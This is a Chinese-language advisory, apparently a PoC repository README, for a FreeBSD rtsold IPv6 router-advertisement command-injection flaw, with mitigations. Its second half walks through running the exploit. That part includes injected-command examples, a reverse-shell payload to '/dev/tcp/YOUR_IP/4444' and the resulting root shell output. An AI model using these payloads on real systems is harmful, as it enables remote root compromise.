🚨 CVE-2025-14558 : FreeBSD 中的严重远程代码执行漏洞 (IPv6)

🧠 概述

CVE-2025-14558 是一个严重远程代码执行 (RCE) 漏洞，影响使用 IPv6 路由器请求服务的 FreeBSD 系统。在处理不受信任的网络输入时存在缺陷，允许攻击者执行任意 shell 命令。

📊 严重性

CVSS v3 评分： 9.8 / 10 🔥
风险等级： 严重
所需权限： 无
用户交互： 无

🎯 受影响组件

rtsol(8)
rtsold(8)
使用 IPv6 无状态地址自动配置 (SLAAC) 的 FreeBSD 系统

⚙️ 技术细节

恶意的 IPv6 路由器通告 (RA) 数据包可以包含精心构造的域名搜索列表选项
输入以不安全的方式传递给 resolvconf(8)
不正确的 shell 引用允许命令注入
导致以 root 身份执行任意命令

🕸️ 攻击向量

🌐 基于网络
📍 攻击者必须位于同一本地网络段
无需认证或凭据

💥 影响

如果成功利用，攻击者可以：

获得完全系统控制权
执行任意命令
修改系统配置
建立持久化或横向移动

🧪 利用可用性

✅ 存在公开的概念验证 (PoC)
演示了通过精心构造的 IPv6 RA 数据包执行命令

🛡️ 缓解与防御

强烈建议采取的措施：

🔧 应用官方的 FreeBSD 安全补丁
🚫 如果不需要 IPv6 RA，请禁用 rtsol / rtsold
🔒 过滤或阻止不受信任的 IPv6 路由器通告
🧱 使用网络分段来限制本地攻击者的暴露

📝 关键要点

任何在不受信任网络上监听 IPv6 路由器通告的 FreeBSD 系统都处于高风险中。 立即打补丁或禁用受影响的服务。

如果 CVE-2025-14558 的 PoC 脚本在易受攻击的 FreeBSD 系统上（未打补丁，rtsold 正在运行并处理 IPv6 RA 消息）成功运行：

在目标（易受攻击的 FreeBSD 机器）上：

注入的命令立即以 root 身份执行（因为 rtsold 以 root 身份运行，并用恶意域名调用 /sbin/resolvconf）。
默认情况下，控制台或日志中不会显示任何输出（命令在后台静默运行）。
执行的示例：
- 对于简单的测试，例如 --command "id > /tmp/pwned"：
  - 会创建一个文件 /tmp/pwned，内容类似于：
```
uid=0(root) gid=0(wheel) groups=0(wheel)
```
- 对于 --command "touch /tmp/exploit_success"：
  - 会出现一个空文件 /tmp/exploit_success。
- 对于反向 shell，例如 --command "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"：
  - 目标上没有立即可见的变化，但会尝试连接到你的监听器。

在目标上使用以下命令检查：

ls -l /tmp/pwned
cat /tmp/pwned

在攻击者端（运行脚本）：

脚本输出：

[+] Sending malicious RA on eth0
[+] Injected command: id > /tmp/pwned
[+] Target must run vulnerable rtsold and process the RA
[+] Done. Check target for execution (e.g. /tmp/pwned)

对于反向 shell：如果成功，你的 nc -lvnp 4444 会获得一个连接和一个 root shell：

listening on [any] 4444 ...
connect to [YOUR_IP] from (UNKNOWN) [target_ip] XXXXX
bash: cannot set terminal process groups: No job control in this shell
bash: no job control in this shell
root@vulnerable-host:~ #

（你现在拥有 root shell – 可以输入 id、whoami 等命令。）

如果不起作用：

没有创建文件/没有连接 → 原因：目标已打补丁、rtsold 未运行、不在同一 L2 网络、防火墙阻止 RA 或 IPv6 已禁用。

这只能在受控实验室中，在易受攻击的（2025 年 12 月 16 日补丁之前）FreeBSD 系统上观察到。截至 2025 年 12 月 23 日，没有公开的现实世界利用报告。请在生产环境中立即打补丁。

Blackash-CVE-2025-14558

最受欢迎